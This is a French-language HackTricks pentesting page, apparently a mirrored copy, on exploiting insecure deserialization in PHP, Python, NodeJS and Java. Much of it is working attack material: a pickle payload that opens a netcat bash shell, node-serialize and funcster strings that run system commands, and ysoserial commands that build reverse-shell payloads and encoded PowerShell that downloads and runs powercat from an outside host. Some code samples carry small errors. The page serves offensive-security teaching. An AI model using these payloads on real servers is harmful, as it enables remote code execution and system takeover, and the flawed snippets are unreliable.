mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
818 lines
52 KiB
Markdown
818 lines
52 KiB
Markdown
# Désérialisation
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
**La sérialisation** est le processus de transformation d'un objet en un format de données qui peut être restauré ultérieurement. Les gens sérialisent souvent des objets pour les enregistrer dans un stockage ou les envoyer dans le cadre de communications.
|
|
|
|
**La désérialisation** est le processus inverse de cette opération, qui prend des données structurées dans un certain format et les reconstruit en un objet. Aujourd'hui, le format de données le plus populaire pour la sérialisation des données est JSON. Avant cela, c'était XML.
|
|
|
|
Dans de nombreuses occasions, vous pouvez trouver du code côté serveur qui désérialise un objet donné par l'utilisateur.\
|
|
Dans ce cas, vous pouvez envoyer une charge utile malveillante pour que le côté serveur se comporte de manière inattendue.
|
|
|
|
**Vous devriez lire:** [**https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html) **pour apprendre comment attaquer.**
|
|
|
|
## PHP
|
|
|
|
Méthode magique utilisée avec la sérialisation :
|
|
|
|
* `__sleep` est appelée lorsqu'un objet est sérialisé et doit être renvoyé sous forme de tableau.
|
|
|
|
Méthode magique utilisée avec la désérialisation :
|
|
|
|
* `__wakeup` est appelée lorsqu'un objet est désérialisé.
|
|
* `__unserialize` est appelée à la place de `__wakeup` s'il existe.
|
|
* `__destruct` est appelée lorsque le script PHP se termine et que l'objet est détruit.
|
|
* `__toString` utilise l'objet comme une chaîne de caractères, mais peut également être utilisée pour lire un fichier ou plus encore en fonction de l'appel de fonction à l'intérieur.
|
|
```php
|
|
<?php
|
|
class test {
|
|
public $s = "This is a test";
|
|
public function displaystring(){
|
|
echo $this->s.'<br />';
|
|
}
|
|
public function __toString()
|
|
{
|
|
echo '__toString method called';
|
|
}
|
|
public function __construct(){
|
|
echo "__construct method called";
|
|
}
|
|
public function __destruct(){
|
|
echo "__destruct method called";
|
|
}
|
|
public function __wakeup(){
|
|
echo "__wakeup method called";
|
|
}
|
|
public function __sleep(){
|
|
echo "__sleep method called";
|
|
return array("s"); #The "s" makes references to the public attribute
|
|
}
|
|
}
|
|
|
|
$o = new test();
|
|
$o->displaystring();
|
|
$ser=serialize($o);
|
|
echo $ser;
|
|
$unser=unserialize($ser);
|
|
$unser->displaystring();
|
|
|
|
/*
|
|
php > $o = new test();
|
|
__construct method called
|
|
__destruct method called
|
|
php > $o->displaystring();
|
|
This is a test<br />
|
|
|
|
php > $ser=serialize($o);
|
|
__sleep method called
|
|
|
|
php > echo $ser;
|
|
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
|
|
|
|
php > $unser=unserialize($ser);
|
|
__wakeup method called
|
|
__destruct method called
|
|
|
|
php > $unser->displaystring();
|
|
This is a test<br />
|
|
*/
|
|
?>
|
|
```
|
|
Si vous regardez les résultats, vous pouvez voir que les fonctions **`__wakeup`** et **`__destruct`** sont appelées lors de la désérialisation de l'objet. Notez que dans plusieurs tutoriels, vous trouverez que la fonction **`__toString`** est appelée lors de la tentative d'impression d'un attribut, mais apparemment cela **n'arrive plus**.
|
|
|
|
{% hint style="warning" %}
|
|
La méthode **`__unserialize(array $data)`** est appelée **à la place de `__wakeup()`** si elle est implémentée dans la classe. Elle vous permet de désérialiser l'objet en fournissant les données sérialisées sous forme de tableau. Vous pouvez utiliser cette méthode pour désérialiser les propriétés et effectuer toutes les tâches nécessaires lors de la désérialisation.
|
|
```php
|
|
phpCopy codeclass MyClass {
|
|
private $property;
|
|
|
|
public function __unserialize(array $data): void {
|
|
$this->property = $data['property'];
|
|
// Perform any necessary tasks upon deserialization.
|
|
}
|
|
}
|
|
```
|
|
{% endhint %}
|
|
|
|
Vous pouvez lire un exemple PHP expliqué ici: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), ici [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) ou ici [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
|
|
|
### PHP Deserial + Autoload Classes
|
|
|
|
Vous pouvez abuser de la fonctionnalité d'autoload PHP pour charger des fichiers php arbitraires et plus encore:
|
|
|
|
{% content-ref url="php-deserialization-+-autoload-classes.md" %}
|
|
[php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Serialization de valeurs référencées
|
|
|
|
Si pour une raison quelconque vous voulez sérialiser une valeur en tant que **référence à une autre valeur sérialisée**, vous pouvez:
|
|
```php
|
|
<?php
|
|
class AClass {
|
|
public $param1;
|
|
public $param2;
|
|
}
|
|
|
|
$o = new WeirdGreeting;
|
|
$o->param1 =& $o->param22;
|
|
$o->param = "PARAM";
|
|
$ser=serialize($o);
|
|
```
|
|
### PHPGGC (ysoserial pour PHP)
|
|
|
|
[**PHPGCC**](https://github.com/ambionics/phpggc) peut vous aider à générer des charges utiles pour abuser des désérialisations PHP.\
|
|
Notez que dans plusieurs cas, vous **ne pourrez pas trouver un moyen d'abuser d'une désérialisation dans le code source** de l'application, mais vous pourriez être en mesure d'**abuser du code des extensions PHP externes.**\
|
|
Donc, si vous le pouvez, vérifiez le `phpinfo()` du serveur et **recherchez sur internet** (et même sur les **gadgets** de **PHPGCC**) certains gadgets possibles que vous pourriez abuser.
|
|
|
|
### Désérialisation de métadonnées phar://
|
|
|
|
Si vous avez trouvé une LFI qui ne fait que lire le fichier et n'exécute pas le code php à l'intérieur, par exemple en utilisant des fonctions comme _**file\_get\_contents(), fopen(), file() or file\_exists(), md5\_file(), filemtime() or filesize()**_, vous pouvez essayer d'abuser d'une **désérialisation** qui se produit lors de la **lecture** d'un **fichier** en utilisant le protocole **phar**.\
|
|
Pour plus d'informations, lisez l'article suivant:
|
|
|
|
{% content-ref url="../file-inclusion/phar-deserialization.md" %}
|
|
[phar-deserialization.md](../file-inclusion/phar-deserialization.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Python
|
|
|
|
### **Pickle**
|
|
|
|
Lorsque l'objet est dé-picklé, la fonction _\_\_reduce\_\__ sera exécutée.\
|
|
Lorsqu'il est exploité, le serveur peut renvoyer une erreur.
|
|
```python
|
|
import pickle, os, base64
|
|
class P(object):
|
|
def __reduce__(self):
|
|
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
|
print(base64.b64encode(pickle.dumps(P())))
|
|
```
|
|
Pour plus d'informations sur l'évasion des **prisons de pickle**, consultez :
|
|
|
|
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
|
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
|
{% endcontent-ref %}
|
|
|
|
### Yaml **&** jsonpickle
|
|
|
|
La page suivante présente la technique pour **abuser d'une désérialisation non sécurisée dans les bibliothèques python yamls** et se termine par un outil qui peut être utilisé pour générer une charge utile de désérialisation RCE pour **Pickle, PyYAML, jsonpickle et ruamel.yaml** :
|
|
|
|
{% content-ref url="python-yaml-deserialization.md" %}
|
|
[python-yaml-deserialization.md](python-yaml-deserialization.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Pollution de classe (Python Prototype Pollution)
|
|
|
|
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %}
|
|
[class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
|
{% endcontent-ref %}
|
|
|
|
## NodeJS
|
|
|
|
### Fonctions magiques JS
|
|
|
|
JS **n'a pas de fonctions "magiques"** comme PHP ou Python qui vont être exécutées juste pour créer un objet. Mais il a certaines **fonctions** qui sont **fréquemment utilisées même sans les appeler directement** telles que **`toString`**, **`valueOf`**, **`toJSON`**.\
|
|
Si vous abusez d'une désérialisation, vous pouvez **compromettre ces fonctions pour exécuter un autre code** (potentiellement en abusant des pollutions de prototype) vous pourriez exécuter du code arbitraire lorsqu'elles sont appelées.
|
|
|
|
Une autre **manière "magique" d'appeler une fonction** sans l'appeler directement est de **compromettre un objet qui est renvoyé par une fonction asynchrone** (promesse). Parce que, si vous **transformez** cet **objet de retour** en une autre **promesse** avec une **propriété** appelée **"then" de type fonction**, elle sera **exécutée** simplement parce qu'elle est renvoyée par une autre promesse. _Suivez_ [_**ce lien**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _pour plus d'informations._
|
|
```javascript
|
|
// If you can compromise p (returned object) to be a promise
|
|
// it will be executed just because it's the return object of an async function:
|
|
async function test_resolve() {
|
|
const p = new Promise(resolve => {
|
|
console.log('hello')
|
|
resolve()
|
|
})
|
|
return p
|
|
}
|
|
|
|
async function test_then() {
|
|
const p = new Promise(then => {
|
|
console.log('hello')
|
|
return 1
|
|
})
|
|
return p
|
|
}
|
|
|
|
test_ressolve()
|
|
test_then()
|
|
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
|
|
```
|
|
### Pollution de `__proto__` et `prototype`
|
|
|
|
Si vous voulez en savoir plus sur cette technique, **consultez le tutoriel suivant**:
|
|
|
|
{% content-ref url="nodejs-proto-prototype-pollution/" %}
|
|
[nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/)
|
|
{% endcontent-ref %}
|
|
|
|
### [node-serialize](https://www.npmjs.com/package/node-serialize)
|
|
|
|
Cette bibliothèque permet de sérialiser des fonctions. Exemple:
|
|
```javascript
|
|
var y = {
|
|
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
|
|
}
|
|
var serialize = require('node-serialize');
|
|
var payload_serialized = serialize.serialize(y);
|
|
console.log("Serialized: \n" + payload_serialized);
|
|
```
|
|
L'**objet sérialisé** ressemblera à ceci:
|
|
```bash
|
|
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
|
```
|
|
Vous pouvez voir dans l'exemple que lorsqu'une fonction est sérialisée, le drapeau `_$$ND_FUNC$$_` est ajouté à l'objet sérialisé.
|
|
|
|
Dans le fichier `node-serialize/lib/serialize.js`, vous pouvez trouver le même drapeau et comment le code l'utilise.
|
|
|
|
![](<../../.gitbook/assets/image (297).png>)
|
|
|
|
![](<../../.gitbook/assets/image (298).png>)
|
|
|
|
Comme vous pouvez le voir dans le dernier morceau de code, **si le drapeau est trouvé**, `eval` est utilisé pour désérialiser la fonction, donc essentiellement **l'entrée utilisateur est utilisée à l'intérieur de la fonction `eval`**.
|
|
|
|
Cependant, **juste en sérialisant** une fonction, **elle ne sera pas exécutée** car il serait nécessaire qu'une partie du code appelle `y.rce` dans notre exemple et c'est hautement **improbable**.\
|
|
De toute façon, vous pourriez simplement **modifier l'objet sérialisé en ajoutant des parenthèses** afin d'exécuter automatiquement la fonction sérialisée lorsque l'objet est désérialisé.\
|
|
Dans le prochain morceau de code, **remarquez la dernière parenthèse** et comment la fonction `unserialize` exécutera automatiquement le code:
|
|
```javascript
|
|
var serialize = require('node-serialize');
|
|
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
|
|
serialize.unserialize(test);
|
|
```
|
|
Comme indiqué précédemment, cette bibliothèque récupérera le code après `_$$ND_FUNC$$_` et l'**exécutera** en utilisant `eval`. Par conséquent, pour **exécuter automatiquement du code**, vous pouvez **supprimer la partie de création de fonction** et la dernière parenthèse et **exécuter simplement une ligne de code JS** comme dans l'exemple suivant:
|
|
```javascript
|
|
var serialize = require('node-serialize');
|
|
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
|
|
serialize.unserialize(test);
|
|
```
|
|
Vous pouvez [**trouver ici**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **plus d'informations** sur la façon d'exploiter cette vulnérabilité.
|
|
|
|
### [funcster](https://www.npmjs.com/package/funcster)
|
|
|
|
La différence intéressante ici est que les **objets intégrés standard ne sont pas accessibles**, car ils sont hors de portée. Cela signifie que nous pouvons exécuter notre code, mais ne pouvons pas appeler les méthodes des objets intégrés. Donc, si nous utilisons `console.log()` ou `require(something)`, Node renvoie une exception comme `"ReferenceError: console is not defined"`.
|
|
|
|
Cependant, nous pouvons facilement récupérer l'accès à tout car nous avons toujours accès au contexte global en utilisant quelque chose comme `this.constructor.constructor("console.log(1111)")();`:
|
|
```javascript
|
|
funcster = require("funcster");
|
|
//Serialization
|
|
var test = funcster.serialize(function() { return "Hello world!" })
|
|
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
|
|
|
|
//Deserialization with auto-execution
|
|
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
|
|
funcster.deepDeserialize(desertest1)
|
|
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
|
|
funcster.deepDeserialize(desertest2)
|
|
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
|
|
funcster.deepDeserialize(desertest3)
|
|
```
|
|
**Pour plus d'informations, consultez cette page**.
|
|
|
|
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
|
|
|
Le package **n'inclut aucune fonctionnalité de désérialisation** et vous oblige à l'implémenter vous-même. Leur exemple utilise directement `eval`. Voici l'exemple officiel de désérialisation :
|
|
```javascript
|
|
function deserialize(serializedJavascript){
|
|
return eval('(' + serializedJavascript + ')');
|
|
}
|
|
```
|
|
Si cette fonction est utilisée pour désérialiser des objets, vous pouvez **facilement l'exploiter** :
|
|
```javascript
|
|
var serialize = require('serialize-javascript');
|
|
//Serialization
|
|
var test = serialize(function() { return "Hello world!" });
|
|
console.log(test) //function() { return "Hello world!" }
|
|
|
|
//Deserialization
|
|
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
|
deserialize(test)
|
|
```
|
|
### Bibliothèque Cryo
|
|
|
|
Dans les pages suivantes, vous pouvez trouver des informations sur la façon d'abuser de cette bibliothèque pour exécuter des commandes arbitraires:
|
|
|
|
* [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
|
|
* [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
|
|
|
|
## Java - HTTP
|
|
|
|
Le principal problème avec les objets désérialisés en Java est que les **rappels de désérialisation ont été invoqués pendant la désérialisation**. Cela permet à un **attaquant** de **profiter de ces rappels** et de préparer une charge utile qui exploite les rappels pour **effectuer des actions malveillantes**.
|
|
|
|
### Empreintes digitales
|
|
|
|
#### Boîte blanche
|
|
|
|
Recherchez à l'intérieur du code les classes et les fonctions de sérialisation. Par exemple, recherchez les classes implémentant `Serializable`, l'utilisation de `java.io.ObjectInputStream` ou les fonctions `readObject` ou `readUnshare`.
|
|
|
|
Vous devriez également garder un œil sur:
|
|
|
|
* `XMLdecoder` avec des paramètres externes définis par l'utilisateur
|
|
* `XStream` avec la méthode `fromXML` (la version xstream <= v1.46 est vulnérable à l'issue de la sérialisation)
|
|
* `ObjectInputStream` avec `readObject`
|
|
* Utilisations de `readObject`, `readObjectNodData`, `readResolve` ou `readExternal`
|
|
* `ObjectInputStream.readUnshared`
|
|
* `Serializable`
|
|
|
|
#### Boîte noire
|
|
|
|
**Empreintes digitales/Bytes magiques** d'objets **sérialisés en java** (à partir de `ObjectInputStream`):
|
|
|
|
* `AC ED 00 05` en Hexadécimal
|
|
* `rO0` en Base64
|
|
* En-tête `Content-type` d'une réponse HTTP définie sur `application/x-java-serialized-object`
|
|
* `1F 8B 08 00` Hexadécimal précédemment compressé
|
|
* `H4sIA` Base64 précédemment compressé
|
|
* Fichiers Web avec l'extension `.faces` et le paramètre `faces.ViewState`. Si vous trouvez cela dans une application Web, jetez un coup d'œil au [**post sur la désérialisation Java JSF VewState**](java-jsf-viewstate-.faces-deserialization.md).
|
|
```
|
|
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
|
```
|
|
### Vérifier si vulnérable
|
|
|
|
Si vous voulez **apprendre comment fonctionne une exploitation de désérialisation Java**, vous devriez jeter un coup d'œil à [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), et [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
|
|
|
|
#### Test de boîte blanche
|
|
|
|
Vous pouvez vérifier s'il y a une application installée avec des vulnérabilités connues.
|
|
```bash
|
|
find . -iname "*commons*collection*"
|
|
grep -R InvokeTransformer .
|
|
```
|
|
Vous pouvez essayer de **vérifier toutes les bibliothèques** connues pour être vulnérables et pour lesquelles [**Ysoserial**](https://github.com/frohoff/ysoserial) peut fournir une exploitation. Ou vous pouvez vérifier les bibliothèques indiquées sur [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
|
Vous pouvez également utiliser [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) pour rechercher des chaînes de gadgets possibles qui peuvent être exploitées.\
|
|
Lorsque vous exécutez **gadgetinspector** (après l'avoir construit), ne vous souciez pas des tonnes d'avertissements/erreurs qu'il traverse et laissez-le finir. Il écrira toutes les découvertes sous _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Veuillez noter que **gadgetinspector ne créera pas d'exploit et il peut indiquer des faux positifs**.
|
|
|
|
#### Test de boîte noire
|
|
|
|
En utilisant l'extension Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), vous pouvez identifier **quelles bibliothèques sont disponibles** (et même les versions). Avec ces informations, il pourrait être **plus facile de choisir une charge utile** pour exploiter la vulnérabilité.\
|
|
[**Lisez ceci pour en savoir plus sur GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
|
GadgetProbe est axé sur les désérialisations de \*\* `ObjectInputStream` \*\*.\*\*.\*\*
|
|
|
|
En utilisant l'extension Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner), vous pouvez **identifier les bibliothèques vulnérables** exploitables avec ysoserial et les **exploiter**.\
|
|
[**Lisez ceci pour en savoir plus sur Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
|
Java Deserialization Scanner est axé sur les désérialisations de **`ObjectInputStream`**.
|
|
|
|
Vous pouvez également utiliser [**Freddy**](https://github.com/nccgroup/freddy) pour **détecter les vulnérabilités de désérialisation** dans **Burp**. Ce plugin détectera les vulnérabilités liées **non seulement à `ObjectInputStream`**, mais également aux vulnérabilités des bibliothèques de désérialisation **Json** et **Yml**. En mode actif, il essaiera de les confirmer en utilisant des charges utiles de sommeil ou de DNS.\
|
|
[**Vous pouvez trouver plus d'informations sur Freddy ici.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
|
|
|
#### Test de sérialisation
|
|
|
|
Tout ne consiste pas à vérifier si une bibliothèque vulnérable est utilisée par le serveur. Parfois, vous pourriez être en mesure de **modifier les données à l'intérieur de l'objet sérialisé et contourner certaines vérifications** (peut-être vous accorder des privilèges d'administrateur à l'intérieur d'une application web).\
|
|
Si vous trouvez un objet sérialisé Java envoyé à une application web, **vous pouvez utiliser** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **pour imprimer dans un format plus lisible par l'homme l'objet de sérialisation qui est envoyé**. Savoir quelles données vous envoyez faciliterait leur modification et le contournement de certaines vérifications.
|
|
|
|
### **Exploitation**
|
|
|
|
#### **ysoserial**
|
|
|
|
L'outil le plus connu pour exploiter les désérialisations Java est [**ysoserial**](https://github.com/frohoff/ysoserial) ([**téléchargez ici**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Vous pouvez également envisager d'utiliser [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) qui vous permettra d'utiliser des commandes complexes (avec des tuyaux, par exemple).\
|
|
Notez que cet outil est **axé** sur l'exploitation de **`ObjectInputStream`**.\
|
|
Je commencerais à utiliser la charge utile "URLDNS" **avant une charge utile RCE** pour tester si l'injection est possible. Quoi qu'il en soit, notez que la charge utile "URLDNS" peut ne pas fonctionner mais qu'une autre charge utile RCE le peut.
|
|
```bash
|
|
# PoC to make the application perform a DNS req
|
|
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
|
|
|
# PoC RCE in Windows
|
|
# Ping
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
|
|
# Time, I noticed the response too longer when this was used
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
|
|
# Create File
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
|
|
# DNS request
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
|
|
# HTTP request (+DNS)
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
|
|
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
|
|
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
|
|
# Reverse Shell
|
|
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
|
|
|
|
#PoC RCE in Linux
|
|
# Ping
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
|
|
# Time
|
|
## Using time in bash I didn't notice any difference in the timing of the response
|
|
# Create file
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
|
|
# DNS request
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
|
|
# HTTP request (+DNS)
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
|
|
# Reverse shell
|
|
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
|
|
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
|
|
|
|
# Base64 encode payload in base64
|
|
base64 -w0 payload
|
|
```
|
|
Lors de la création d'une charge utile pour **java.lang.Runtime.exec()**, vous **ne pouvez pas utiliser de caractères spéciaux** tels que ">" ou "|" pour rediriger la sortie d'une exécution, "$()" pour exécuter des commandes ou même **passer des arguments** à une commande séparés par des **espaces** (vous pouvez faire `echo -n "hello world"` mais vous ne pouvez pas faire `python2 -c 'print "Hello world"'`). Pour encoder correctement la charge utile, vous pouvez [utiliser cette page web](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
|
|
|
N'hésitez pas à utiliser le script suivant pour créer **toutes les charges utiles d'exécution de code possibles** pour Windows et Linux, puis les tester sur la page web vulnérable :
|
|
```python
|
|
import os
|
|
import base64
|
|
|
|
# You may need to update the payloads
|
|
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
|
|
def generate(name, cmd):
|
|
for payload in payloads:
|
|
final = cmd.replace('REPLACE', payload)
|
|
print 'Generating ' + payload + ' for ' + name + '...'
|
|
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
|
|
result = command.read()
|
|
command.close()
|
|
encoded = base64.b64encode(result)
|
|
if encoded != "":
|
|
open(name + '_intruder.txt', 'a').write(encoded + '\n')
|
|
|
|
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
|
|
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
|
```
|
|
#### serialkillerbypassgadgets
|
|
|
|
